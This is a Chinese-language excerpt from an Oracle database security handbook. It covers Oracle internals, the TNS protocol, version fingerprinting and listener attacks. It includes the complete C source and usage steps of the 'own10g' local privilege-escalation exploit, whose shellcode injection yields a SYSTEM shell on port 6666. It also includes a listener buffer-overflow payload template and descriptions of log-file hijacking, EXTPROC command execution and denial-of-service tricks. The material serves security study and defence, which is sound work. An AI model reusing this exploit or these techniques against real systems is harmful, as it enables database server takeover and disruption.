The Oracle Hacker’s Handbook: Hacking and Defending Oracle
by David Litchfield John Wiley & Sons
探索黑帽黑客用来入侵和破坏 Oracle 的每一种技术和工具,这份深入指南向您展示了如何找到数据库中的弱点,以便更好地保护它们。
[TOC]
Oracle RDBMS概述 进程 在Windows上还是在Linux平台上,构成Oracle服务器和服务的过程会有所不同。
数据库实例描述了提供对数据库访问权限的所有进程和内存结构。有两种后台进程,shadow或服务器。shadow或服务器进程服务于客户端请求。换句话说,当客户端连接到TNS侦听器并请求访问数据库服务时,TNS侦听器会将它们移交给服务器进程。该服务器进程接受SQL查询,并代表客户端执行它们。存在后台进程来支持这一点。有许多不同的后台进程,每个进程都有不同的角色,包括数据库编写器,日志编写器,存档器,系统监视器和进程监视器等。
在Linux平台上,这些后台进程中的每个进程都是独立的运行进程,就像在操作系统进程中一样。在Windows上,它们全部打包为一个更大的进程oracle.exe。在Linux的所有进程之间都有一个特殊的内存区域,称为系统全局区域(SGA)。 SGA被实现为内存映射文件(部分),并包含与实例和数据库有关的信息。它还包含一个称为共享池的区域,该区域包含所有用户之间共享的结构,例如表定义等。
在Windows上运行的Oracle流程的一个有趣的方面是,该流程可以由“Everyone”组以编程方式打开。以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 1)获取Oracle.exe的进程ID-例如 1892 2)获取数据库SID-例如 ORCL 3)打开2个shell-我们称它们为A和B 4)在命令shell中运行 C:\>sqlplus /nolog SQL*Plus: Release 10.1.0.2.0 - Production on Fri Jun 3 23:18:58 2005 Copyright (c) 1982, 2004, Oracle. All rights reserved. SQL> connect scott/invalidpassword 5)在命令shell B中运行 C:\> own10g 1892 * oraspawn_buffer_orcl * 6)在命令Shell A中尝试在sqlplus中重新进行身份验证 7)在命令shell B中运行 C:\> telnet 127.0.0.1 6666 Microsoft Windows XP [版本5.1.2600] Microsoft Windows XP [Version 5.1.2600] C:\WINDOWS\system32>c:\whoami c:\whoami NT AUTHORITY\SYSTEM
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 #include <stdio.h> #include <windows.h> #include <winbase.h> HANDLE hSection=NULL; unsigned char *p = NULL; int OpenTheSection(unsigned char *section, DWORD perm); SIZE_T GetSizeOfSection(); int MapTheSection(unsigned int rw); unsigned char shellcode[]= "\x83\xEC\x24\x55\x8B\xEC\xEB\x03\x58\xEB\x05\xE8\xF8\xFF\xFF\xFF" "\x83\xC0\x7E\x83\xC0\x7B\x50\x99\x64\x8B\x42\x30\x8B\x40\x0C\x8B" "\x70\x1C\xAD\x8B\x48\x08\x51\x52\x8B\x7D\xFC\x8B\x3C\x57\x57\x8B" "\x41\x3C\x8B\x7C\x01\x78\x03\xF9\x8B\x5F\x1C\x8B\x77\x20\x8B\x7F" "\x24\x03\xF1\x03\xD9\x03\xF9\xAD\x91\x33\xF6\x33\xD2\x8A\x14\x08" "\x41\xC1\xCE\x0D\x03\xF2\x84\xD2\x75\xF3\x83\xC7\x02\x5A\x52\x66" "\x3B\xF2\x75\xE5\x5A\x5A\x42\x0F\xB7\x4F\xFE\x03\x04\x8B\x89\x44" "\x95\x04\x59\x80\xFA\x02\x7E\xAE\x80\xFA\x08\x74\x1E\x52\x80\xFA" "\x03\x74\x02\xEB\xA1\x99\x52\x68\x33\x32\x20\x20\x68\x77\x73\x32" "\x5F\x54\xFF\xD0\x83\xC4\x0C\x5A\x91\xEB\x8B\x99\xB6\x02\x2B\xE2" "\x54\x83\xC2\x02\x52\xFF\xD0\x50\x50\x50\x6A\x06\x6A\x01\x6A\x02" "\xFF\x55\x14\x8D\x65\xD4\x50\x99\x52\x52\x52\xBA\x02\xFF\x1A\x0A" "\xFE\xC6\x52\x54\x5F\x6A\x10\x57\x50\xFF\x55\x18\x6A\x01\xFF\x75" "\xD0\xFF\x55\x1C\x50\x50\xFF\x75\xD0\xFF\x55\x20\x99\x52\x68\x63" "\x6D\x64\x20\x54\x5F\x50\x50\x50\x52\x52\xB6\x01\x52\x6A\x0A\x99" "\x59\x52\xE2\xFD\x6A\x44\x54\x5E\x42\x54\x56\x51\x51\x51\x52\x51" "\x51\x57\x51\xFF\x55\x0C\xFF\x55\x08\x16\x9F\x9F\xB5\x72\x60\xA8" "\x6F\x80\x3B\x75\x49\x32\x4C\xE7\xDF"; int WriteShellCode(char *section); int main(int argc, char *argv[]) { HANDLE hThread = NULL; DWORD id = 0; HMODULE k=NULL; FARPROC mOpenThread = 0; FARPROC ntq = 0; FARPROC nts = 0; unsigned char buff[1024]=""; unsigned int len = 0; unsigned int res = 0; unsigned int pid = 0; unsigned char *p = 0; unsigned int tid = 0; CONTEXT ctx; unsigned char *ptr=NULL; if(argc != 3) { printf("\n\n\t*** own10g ***\n\n"); printf("\tC:\\>%s pid section_name\n\n",argv[0]); printf("\twhere pid is the process ID of Oracle\n"); printf("\tand section_name is *oraspawn_buffer_SID*\n"); printf("\tSID is the database SID - e.g. orcl\n\n"); printf("\tSee notes in source code for full details\n\n"); printf("\tDavid Litchfield\n\t(davidl@ngssoftware.com)"); printf("\n\t3rd June 2005\n\n\n"); return 0; } if(WriteShellCode(argv[2])==0) return printf("Failed to write to section %s\n",argv[2]); k = LoadLibrary("kernel32.dll"); if(!k) return printf("Failed to load kernel32.dll"); mOpenThread = GetProcAddress(k," OpenThread"); if(!mOpenThread) return printf("Failed to get address of OpenThread!"); k = LoadLibrary("ntdll.dll"); if(!k) return printf("Failed to load ntdll.dll"); ntq = GetProcAddress(k," NtQueryInformationThread"); if(!ntq) return printf("Failed"); nts = GetProcAddress(k," NtSetInformationThread"); if(!nts) return printf("Failed"); tid = atoi(argv[1]); while(id < 0xFFFF) { hThread = mOpenThread(THREAD_ALL_ACCESS,TRUE,id); if(hThread) { res = ntq(hThread,0,buff,0x1C,&len); if(res !=0xC0000003) { p = &buff[9]; pid = (int) *p; pid = pid << 8; p--; pid = pid + (int) *p; if(pid == tid) { printf("%d\n",id); ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; if(GetThreadContext(hThread,&ctx)==0) return printf("Failed to get context"); ptr = (unsigned char *)&ctx; ptr = ptr + 184; // This exploit assumes the base address of the // section is at 0x044D0000. If it is not at this // address on your system - change it. memmove(ptr,"\x40\x01\x4D\x04",4); if(SetThreadContext(hThread,&ctx)==0) return printf("%d\n",GetLastError()); } } } hThread = NULL; id ++; } return 0; } int WriteShellCode(char *section) { SIZE_T size = 0; if(OpenTheSection(section,FILE_MAP_WRITE)==0) { printf("OpenTheSection: Section %s\tError: %d\n",section,GetLastError()); return 0; } if(MapTheSection(FILE_MAP_WRITE)==0) { printf("MapTheSection: Section %s\tError: %d\n",section,GetLastError()); return 0; } size = GetSizeOfSection(); if(size == 0) { printf("GetSizeOfSection: Section %s\tError: %d\n",section,GetLastError()); return 0; } printf("Size of section %d\n",size); if(size < 0x141) return 0; size = size - 0x140; if(size < strlen(shellcode)) return 0; p = p + 0x140; memmove(p,shellcode,strlen(shellcode)); return 1; } int OpenTheSection(unsigned char *section, DWORD perm) { SIZE_T size=0; hSection = OpenFileMapping(perm, FALSE, section); if(!hSection) return 0; else return 1; } int MapTheSection(unsigned int rw) { p = (char *)MapViewOfFile(hSection, rw, 0, 0, 0); if(!p) return 0; return 1; } SIZE_T GetSizeOfSection() { MEMORY_BASIC_INFORMATION mbi; SIZE_T size=0; if(!p) { printf("Address not valid.\n"); return 0; } ZeroMemory(&mbi,sizeof(mbi)); size = VirtualQuery(p,&mbi,sizeof(mbi)); if(size !=28) return 0; size = mbi.RegionSize; printf("Size: %d\n",size); return size; }
当本地用户尝试在Windows上连接到Oracle时,它将通过命名管道进行连接。 在主服务器进程中创建了四个线程来处理客户端和服务器之间的通信。 这四个线程具有一个自由访问控制列表(DACL),该列表授予用户打开该线程的权限。
在第4步中,通过尝试进行身份验证,我们在服务器进程中创建了这些线程。
在第5步中,我们运行此漏洞利用程序,这将在服务器进程中打开一个内存部分,并将此处的shellcode写入此处。本部分的地址为0x044D0000(但可能有所不同)。因为本节中的DACL允许每个人都写入该内存,所以我们可以这样做。此部分的名称为* oraspawn_buffer_orcl *,其中orcl是在第2步中获得的数据库SID。注意,我们将shellcode专门写入0x044D0140,即该部分中的0x140字节。我们这样做是为了防止在我们的第二次连接尝试中破坏我们的shellcode。除了将shellcode写入该部分外,我们还设置了线程的执行上下文,换句话说,我们将EIP设置为指向我们的shellcode。
在第6步中,我们重新激活睡眠线程并切换到我们的shellcode。
shellcode在TCP端口6666上生成一个shell,在第7步中我们将其远程登录到该shell。通过运行whoami,我们将以系统特权运行Shell。
文件系统 了解文件系统上的Oracle结构非常有用。在后面的章节中,我们将通过直接访问Oracle文件来绕过数据库强制的访问控制,因此本节介绍了基本布局。安装Oracle的基本目录称为Oracle Home。为了使大多数Oracle实用程序都能正常工作,必须将一个环境变量(称为ORACLE_HOME)设置为此目录。
大多数Oracle可执行文件和动态链接库都位于 bin\oracle.exe,目录中。因此,$ORACLE_HOME/bin应该在PATH环境变量中;否则,该实用程序将再次无法使用。
数据逻辑上存储在表空间中,物理上存储在数据文件中,通常以.dbf为文件扩展名。通常,数据文件位于$
目录中,其中SID是数据库SID。这些数据文件具有简单的二进制结构。
Oracle 10g的文件头可以描述如下:字节2表示文件类型-0xA2似乎表示普通数据文件,0xC2是控制文件,0x22是重做日志文件。 0x14至0x17处的DWORD(4个字节)指示文件中每个数据块的大小,0x18至0x1B处的DWORD提供文件中数据块的数目。字节0x1C至0x1F是“魔术”键-始终设置为0x7D7C7B7A。文件头的大小与其他每个块的大小相同,如0x14到0x17,如果它是0x00002000,则将在文件中找到第一个数据块0x00002000字节。
每个数据块在字节block_base + 04和block_base + 05处包含其块号,以及从字节block_base + 0x18到block_base + 0x1B的服务器版本。第一个数据块是特殊的,它包含有关数据文件来自的服务器以及文件本身的信息。例如,数据库的SID可以在block_base + 0x20处找到,表空间名称在block_base + 0x52处,并且此名称的长度在block_base + 0x50处的两个字节处。
前面提到了另外两种重要的文件类型:控制文件和重做日志。控制文件包含有关数据库服务器物理结构的重要信息。重做日志跟踪对数据文件所做的更改,它们充当服务器与数据文件之间的桥梁:在对数据文件进行任何更改之前,它们首先被写入重做日志。因此,如果数据文件出了问题,则可以从这些重做日志中的信息中恢复状态。检查这些日志文件通常可以向攻击者揭示有用的信息。例如,如果用户使用通过密码语法标识的ALTER USER名称来更改其密码,那么明文密码将被写入Oracle 9及更早版本的重做日志中。
数据库初始化配置文件
1 init <SID> .ora或spfile <SID> .ora
可以位于Windows上的
和Linux平台上的
网络结构 可以将Oracle配置为侦听TCP套接字(带有或不带有SSL,IPC,SPX和命名管道)。 对于在Windows平台上查看Oracle的用户,请记住,可以通过网络在TCP端口139和445上访问命名管道。(这意味着,即使已将TNS侦听器配置为不在TCP套接字上侦听,仍然可以通过命名管道,远程访问它。 就TCP而言,通常默认在端口1521或1526上侦听服务器。
数据库对象 Oracle支持通常会在数据库服务器中期望的典型数据库对象,例如表和视图。 我们稍后将特别注意的其他对象包括触发器,包,过程和函数。 可以通过执行以下SQL列出数据库中存在的所有对象类型:
1 select distinct object_type from all_objects order by 1;
在默认安装的Oracle 11g中,列出了43种以上的对象类型。
用户和角色 Oracle要求使用用户ID和密码对用户进行身份验证。 Oracle以其使用默认密码创建的默认帐户数量而闻名。 如今,大多数默认帐户通常都已锁定。
Oracle数据库服务器中最强大的用户是SYS,其次是SYSTEM用户。 根据已安装的其他组件,其他功能强大的用户包括但不限于CTXSYS,MDSYS,WKSYS和SYSMAN。
模式是给定用户拥有的对象的集合。 例如,可以说SCOTT拥有的所有表,视图和过程都存在于SCOTT模式中。 还有一个称为PUBLIC的特殊用户,与PUBLIC用户相关的任何事情都适用于数据库中的每个用户。
特权 Oracle中的访问控制由特权分配控制。 有两种特权:对象特权(object)和系统特权(system)。 对象特权是指可以对数据库对象(例如表,视图和过程)操作,而系统特权是指用户可以对数据库执行的操作(例如创建和删除)。 特权可以直接分配给用户或角色。
对象特权包括以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ALTER DEBUG DELETE DEQUEUE EXECUTE FLASHBACK INDEX INSERT ON COMMIT REFRESH QUERY REWRITE READ REFERENCES SELECT UNDER UPDATE WRITE
有超过200个系统特权。 通过执行以下操作,可以获得系统特权的完整列表:
1 select name from system_privilege_map;
此外,还有一些系统特权组,例如ALTER ANY,CREATE ANY,EXECUTE ANY,ANALYZE,AUDIT,DEBUG,DELETE ANY和DROP ANY。 例如,EXECUTE ANY包括以下内容:
1 2 3 4 5 6 7 8 9 10 EXECUTE ANY CLASS EXECUTE ANY EVALUATION CONTEXT EXECUTE ANY INDEXTYPE EXECUTE ANY LIBRARY EXECUTE ANY OPERATOR EXECUTE ANY PROCEDURE EXECUTE ANY PROGRAM EXECUTE ANY RULE EXECUTE ANY RULE SET EXECUTE ANY TYPE
要查明用户具有哪些特权,可以查询DBA_TAB_PRIVS和DBA_SYS_PRIVS视图。
Oracle 补丁 2004年8月下旬,Oracle发布了期待已久的补丁集。此补丁集修复了安全研究人员(例如作者Esteban Martinez Fayo,Pete Finnigan,Jonathan Gennick,Alexander Kornbrust Stephen Kost,Matt Moore,Andy Rees和Christian Schaller)报告的数百个漏洞。它被称为Alert 68,它预示了与Oracle不同的补丁和补丁发行方法的到来。从那时起,Oracle承诺每三个月发布一次关键补丁更新(CPU)。 CPU往往包含大量的修复程序,并且只有一次(在撰写本文时)没有多次发布过CPU-即2006年7月的CPU。由于这种频率和数量,通常查找具有错误,过时补丁的服务器。结果,管理员认为实际上他们没有受到保护。甲骨文对此公开和私下提出了很多批评。
用于在除8.1.7.4以外的所有Oracle版本上安装Oracle补丁的工具称为“ opatch”。 opatch实用程序读取随补丁一起提供的名为
1 $PATCH/etc/config/actions
的文件,该文件描述了安装操作的列表,例如要将哪些文件复制到何处。工具运行后,将更新一个名为
1 $ORACLE_HOME/inventory/ContentsXML/comps.xml
的文件。除其他事项外,该文件还包含补丁集已修复的错误号的列表。不建议您依靠此文件中的信息来确定服务器是否容易受到给定漏洞的影响,因为opatch可能会失败,并且由于错误导致comps.xml中的错误导致频繁地重新发布补丁程序文件。这可能会产生误导。
确定服务器是否易受攻击的唯一肯定方法是确认服务器上是否存在易受攻击的代码。您可以通过对所有PLSQL代码进行校验和并将生成的校验和与有缺陷的软件包的已知列表进行比较来做到这一点。使用NGSSoftware的NGSSQuirreL,可以使用DBMS_UTILITY.GET_HASH_VALUE函数。这里有一个简短的解释,因此您可以根据需要自己实现。给定PLSQL包的文本跨DBA_SOURCE视图中的多行存储。对于包的每一行文本,都可以使用DBMS_UTILITY.GET_HASH_VALUE函数生成一个哈希。然后,您将获得每一行的平均值至小数点后30位:
1 2 3 4 5 6 7 set numwidth 50 SELECT AVG(DBMS_UTILITY.GET_HASH_VALUE(TEXT,1000000000,POWER(2,30))) AS CHECKSUM FROM DBA_SOURCE WHERE OWNER='SYS' AND NAME='TEST_F' /
Oracle网络体系结构 Oracle网络体系结构包含许多组件,所有组件都与OSI网络模型完全对应。这种体系结构使Oracle客户端和服务器应用程序可以通过TCP/IP等协议进行通信。在应用程序(客户端上的Oracle Call Interface或OCI和服务器上的Oracle Program Interface或OPI)与网络层之间进行接口连接的会话协议称为Net8(Net9),而在SQL * Net之前。
在OCI/OPI和Net8层之间是一个称为“双任务通用”(TTC)的表示协议,该协议负责客户端和服务器之间的字符集和数据类型转换差异。 Net8会话协议有三个组件:网络基础设施、路由/命名/验证和TNS。受支持的传输协议包括TCP / IP(带有或不带有TCP),命名管道和套接字直接协议(SDP),可通过Infiband高速网络进行通信。所有这些的基础是透明网络基板协议,也称为TNS。 TNS的任务是选择Oracle协议适配器,将通信包装在支持的传输协议中。
TNS协议 TNS协议头部 每个TNS数据包都有一个八字节的标头。 头部的前两个字节(WORD)用于数据包长度-包括标头大小。 像所有值一样,大小为big-endian。 如果校验和已完成,则下一个WORD用于数据包校验和,并且此WORD的值为0x0000。
1 2 3 4 5 6 7 8 0 8 16 31 +--------------+--------------+ | Packet Length| Packet Chksm | +------+-------+--------------+ 8 byte header | Type | Rsrvd | Header Chksm | +------+-------+--------------+ | P A Y L O A D | +-----------------------------+
通用Header8个字节:
Length
2
包的长度,包括通用包头
Packet check sum
2
包的校验和
Type
1
TNS类型
Flag
1
状态
Header check sum
2
通用头的校验和
数据包类型(Type)例如,最常见的如下:
1 2 3 4 5 6 7 8 9 10 11 12 Connect packet Type 1 Accept packet Type 2 Ack packet Type 3 Refuse packet Type 4 Redirect packet Type 5 Data packet Type 6 NULL packet Type 7 Abort packet Type 9 Resend packet Type 11 Marker packet Type 12 Attention packet Type 13 Control packet Type 14
连接到Oracle时,客户端在TNS级别向服务器发送一个Connect数据包(类型1),指定他们希望访问的服务名称。如果侦听器知道这种服务,则可能发生以下两种情况之一:TNS侦听器可以发送一个Accept数据包(类型2),或者可以使用重定向数据包将客户端重定向到另一个端口(类型5)。如果出现前一个选项,则客户端将尝试进行身份验证。如果发生后者,则客户端将Connect数据包发送到已将其重定向到的端口,并请求访问该服务。如果一切顺利,则服务器将发出“接受”数据包并进行身份验证。所有身份验证包都是(类型6)的数据包。
如果侦听器不知道客户端正在请求访问的服务,则它将发出“Refuse”数据包(类型4)。通过身份验证后,查询和结果数据包就是“Data”数据包(类型6)。通常,会看到一个类型为12(0x0C)的数据包-这是一个标记数据包,用于中断。
例如,如果服务器希望客户端停止发送数据,则它将向客户端发送一个标记数据包。
继续TNS标头的详细信息,下一个字节是标头标志。通常,这些标志是未使用的,但是10g客户端可以将该值设置为0x04。最后两个字节构成标题校验和的WORD-默认情况下不使用,设置为0x0000:
在深入研究数据包之前,先查看一下“拒绝数据包”(类型4)会很有用。“拒绝数据包”表示某种错误。例如,带有“无效的用户名/密码”的登录被拒绝错误-ORA-01017 。 由于这些错误,第54个字节指示问题。 3是无效密码; 2表示没有这样的用户。 显然,可以从“拒绝”数据包中获得潜在有用的信息。
TNS协议包体 网络上看到的大多数数据包都是数据包(类型6)。 对于数据包,TNS标头后的WORD用于数据标志。 如果数据包是断开连接数据包,则此WORD设置为0x0040,否则,为0x0000。
注意:当服务器处理设置了数据标志的第二位但未设置第一个(最低有效)位的数据包(类型6)(例如,数字2、6、10, 14,依此类推)。 当服务器接收到这样的数据包时,它会陷入无限循环,从而占用所有可用的CPU处理时间。
数据标志后的下一个字节(字节11)确定数据包中的内容:
0x01表示协议协商。 在此,客户端向服务器发送可接受的协议版本-分别为6、5、4、3、2、1和0。服务器将以通用版本(例如6或5)进行答复,但也会发送 信息,例如它使用的字符集,集合中有多少个字符,版本字符串和服务器标志。
0x02表示数据类型表示形式的交换。
0x03表示两任务界面(TTI)功能调用。 下表列出了一些功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 0x02 Open 0x03 Query 0x04 Execute 0x05 Fetch 0x08 Close 0x09 Disconnect/logoff 0x0C AutoCommit ON 0x0D AutoCommit OFF 0x0E Commit 0x0F Rollback 0x14 Cancel 0x2B Describe 0x30 Startup 0x31 Shutdown 0x3B Version 0x43 K2 Transactions 0x47 Query 0x4A OSQL7 0x5C OKOD 0x5E Query 0x60 LOB Operations 0x62 ODNY 0x67 Transaction - end 0x68 Transaction - begin 0x69 OCCA 0x6D Startup 0x51 Logon (present password) 0x52 Logon (present username) 0x73 Logon (present password - send AUTH_PASSWORD) 0x76 Logon (present username - request AUTH_SESSKEY) 0x77 Describe 0x7F OOTCM 0x8B OKPFC
其中的一些可能在身份验证之前被调用,例如,版本(0x3B)TTI函数:
0x08表示“确定”,从服务器发送来响应客户端。
0x11表示扩展的TTI功能。 这些是在更高版本的Oracle中引入的,因此为了向后兼容,请勿使用0x03。以下是一些功能代码:
1 2 3 4 0x6b Switch or Detach session 0x78 Close 0x87 OSCID 0x9A OKEYVAL
0x20,调用外部过程和服务注册。
0x44,调用外部过程和服务注册。
除了检查Oracle JDBC客户端(classes12.zip)之外,获取TNS协议的最佳方法是使用网络嗅探器从网络上捕获一些数据包,然后查看发生了什么。
获取Oracle版本 有许多方法可以在身份验证之前,获取Oracle版本号。
利用侦听器版本和状态命令 侦听器控制实用程序同时具有版本命令和状态命令。 它们都可以从客户端发出,以请求侦听器的版本号。 还显示了有关运行侦听器的操作系统的详细信息。 请注意,尽管Oracle禁止状态命令远程处理10g,但版本命令仍然有效。 这是版本命令的输出:
1 2 3 lsnrctl set current_listener 127.0.0.1[可换成远程ip] version
从前面的输出中,可以看到服务器正在Windows上运行11.2.0.1.0。
利用TNS协议版本 在TNS连接数据包中,在数据包中找到9个字节的WORD(大小为2个字节)指定了所使用的TNS协议版本。下一个WORD(字节11和12)指定发送系统可以理解的最早的版本号。
例如,如果运行版本8.1.7.4的Oracle客户端连接到Oracle服务器上的侦听器,则客户端发送0x0136作为正在使用的TNS协议版本,并发送0x012C作为它理解的最早版本。这样,两个不同版本的Oracle可以通过选择他们都理解的TNS版本进行通信。
1 2 3 4 Oracle 10r2支持0x139 Oracle 9r2支持0x138 Oracle 9i支持0x137 Oracle 8支持0x136。
利用XML数据库版本 如果XML数据库正在运行,则可以远程登录到TCP端口2100以获取版本信息。 此服务是ftp服务,显示信息:
1 220 PILUM FTP Server (Oracle XML DB/Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production) ready.
同样,TCP端口8080上的XDB Web服务器也显示版本号:
1 2 3 4 5 6 7 8 9 10 11 12 13 GET / HTTP/1.1 Host: PILUM HTTP/1.1 401 Unauthorized MS-Author-Via: DAV DAV: 1,2,<http://www.oracle.com/xdb/webdav/props> Server: Oracle XML DB/Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production WWW-Authenticate: Basic Realm=" XDB" Date: Mon, 19 Jun 2006 18:57:59 GMT Content-Type: text/html Content-Length: 147
利用TNS报错信息 如果侦听器收到它不理解的TNS命令,则会将错误发送回去。 此错误文本包含一个VSNNUM,该VSNNUM包含一个十进制数字,例如169869568。如果我们将此数字转换为十六进制,请查看得到的内容:0x0A200100。 这是伪装的Oracle版本号-在本例中为10.2.0.1.0。 以下shell程序转储来自于不理解“unbreakable”命令的侦听器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 IP Header Length and version: 0x45 Type of service: 0x00 Total length: 181 Identifier: 13914 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x41e5 Source IP: 192.168.0.120 Dest IP: 192.168.0.59 TCP Header Source port: 1521 Dest port: 3004 Sequence: 1152664576 ack: 2478634793 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 17451 Checksum: 0xcae1 Urgent Pointer: 0 Raw Data 00 8d 00 00 04 00 00 00 22 00 00 81 28 44 45 53 " (DES 43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31 CRIPTION=(ERR=11 35 33 29 28 56 53 4e 4e 55 4d 3d 31 36 39 38 36 53)(VSNNUM=16986 39 35 36 38 29 28 45 52 52 4f 52 5f 53 54 41 43 9568)(ERROR_STAC 4b 3d 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 31 K=(ERROR=(CODE=1 31 35 33 29 28 45 4d 46 49 3d 34 29 28 41 52 47 153)(EMFI=4)(ARG 53 3d 27 75 6e 62 72 65 61 6b 61 62 6c 65 27 29 S='unbreakable') 29 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 33 30 )(ERROR=(CODE=30 33 29 28 45 4d 46 49 3d 31 29 29 29 29 3)(EMFI=1))))
利用TNS的TTC功能 我们之前讨论了TTC功能,并提到了版本功能0x3B。 这将导致Oracle服务器在认证之前显示其版本。
使用其他网络选项协商
客户端从服务器接收到“接受”数据包后,客户端可以选择协商其他网络服务,例如身份验证,加密,数据完整性和管理程序。 可以在ANO协商标头(0xDEADBEEF)后三个字节找到客户端或服务器的版本-数据包中的17个字节。 在以下数据中,可以看到版本为8.1.7.4:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 IP Header Length and version: 0x45 Type of service: 0x00 Total length: 203 Identifier: 14473 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x3fa0 Source IP: 192.168.0.59 Dest IP: 192.168.0.120 TCP Header Source port: 4194 Dest port: 1495 Sequence: 422372252 ack: 597087647 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 65087 Checksum: 0x7e36 Urgent Pointer: 0 Raw Data 00 a3 00 00 06 00 00 00 00 00 de ad be ef 00 99 08 10 74 00 00 04 00 00 04 00 03 00 00 00 00 00 t 04 00 05 08 10 74 00 00 02 00 06 00 1f 00 0e 00 t 01 de ad be ef 00 03 00 00 00 02 00 04 00 01 00 01 00 07 00 00 00 00 00 04 00 05 08 10 74 00 00 t 02 00 06 fa ff 00 01 00 02 01 00 03 00 00 4e 54 NT 53 00 04 00 05 02 00 00 00 00 04 00 04 00 00 00 S 00 00 04 00 04 00 00 00 02 00 02 00 02 00 00 00 00 00 04 00 05 08 10 74 00 00 01 00 02 00 00 03 t 00 02 00 00 00 00 00 04 00 05 08 10 74 00 00 01 t 00 02 00
攻击TNS侦听器和调度程序 TNS侦听器是所有Oracle通信的枢纽。
TNS劫持攻击 10g之前的TNS侦听器可以直接进行远程管理,而无需提供密码。 由于可以指定日志文件和跟踪文件的位置,因此攻击者可以将日志文件设置为例如Windows管理员启动文件夹中的批处理文件或Oracle用户主目录中的.rhosts文件。Linux上的目录。 设置好之后,攻击者可以发送命令运行,或者在Linux上发送“ + +”命令,使这些命令执行,或者能够使用r *服务以Oracle用户身份运行命令。
除了能够设置密码来管理侦听器外,Oracle还向侦听器添加了另一个选项-ADMIN_RESTRICTIONS。 启用后,某些命令(例如更改日志文件的位置)只能在本地执行。 有关详细信息,请访问www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html。
除此之外,TNS侦听器还遭受许多缓冲区溢出漏洞的困扰。 例如,在2002年6月,Oracle解决了9i中的一个溢出问题,该溢出中过长的service_name参数将触发该问题。
1 2 3 4 5 6 7 (DESCRIPTION=(ADDRESS= (PROTOCOL=TCP)(HOST=192.168.0.65) (PORT=1521))(CONNECT_DATA= (SERVICE_NAME=shellcode_goes_here) (CID= (PROGRAM=SQLPLUS.EXE) (HOST=foo)(USER=bar))))
发生错误是因为在将错误写入日志文件时,用户提供的service_name被复制到基于堆栈的缓冲区中。 攻击者可能利用此漏洞来控制流程的执行路径。
可以在没有用户ID和密码的情况下针对TNS侦听器发动的另一种攻击,将诱使服务器加载任意库并执行任意功能。对于Oracle 8.1.7.4,它仍未打补丁,尽管存在严重的安全隐患,Oracle仍拒绝对其进行修复。攻击方法包括连接到侦听器并请求访问EXTPROC,EXTPROC是用于运行PLSQL外部过程的程序。因为没有身份验证,并且因为可以通过TCP到达EXTPROC,所以可以加载例如msvcrt.dll或libc,并执行system()函数和任意操作系统命令。对于Oracle 9和更高版本,Oracle制作了一个补丁程序,但该补丁程序存在缓冲区溢出漏洞。该补丁添加了代码,以捕获攻击者尝试远程加载库然后进行记录的记录,但是记录代码使用了sprintf()。通过提供一个过长的库名,基于堆栈的缓冲区可能会溢出,从而使攻击者获得控制权。第二个补丁不是很好。通过将环境变量嵌入库名称中,可以通过长度检查。此后,环境变量将被扩展,从而推出了用户提供的字符串的长度。同样,可能会使缓冲区溢出。
攻击 GIOP服务器 默认情况下,Oracle 9.0.1和Oracle 8.1.7.4都安装了IIOP(Internet内部对象请求代理协议)服务器以启用对CORBA应用程序的访问。 IIOP是GIOP(公用对象请求代理协议)的实现。该服务器中的漏洞可能允许攻击者通过网络从服务器中转储任意内存或使服务器崩溃。
GIOP数据包的标头有一个size,它指示客户端正在发送多少数据。服务器使用此大小参数来构建其响应。如果客户端发送的大小大于其实际发送的数据,则服务器将读取内存中的数据,直到攻击者指定的大小为止。这样,攻击者就可以开始泄漏TNS侦听器的内存内容。如果大小足够大,则侦听器最终会尝试读取未初始化的内存,并且访问会导致拒绝服务。以下代码演示了这一点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 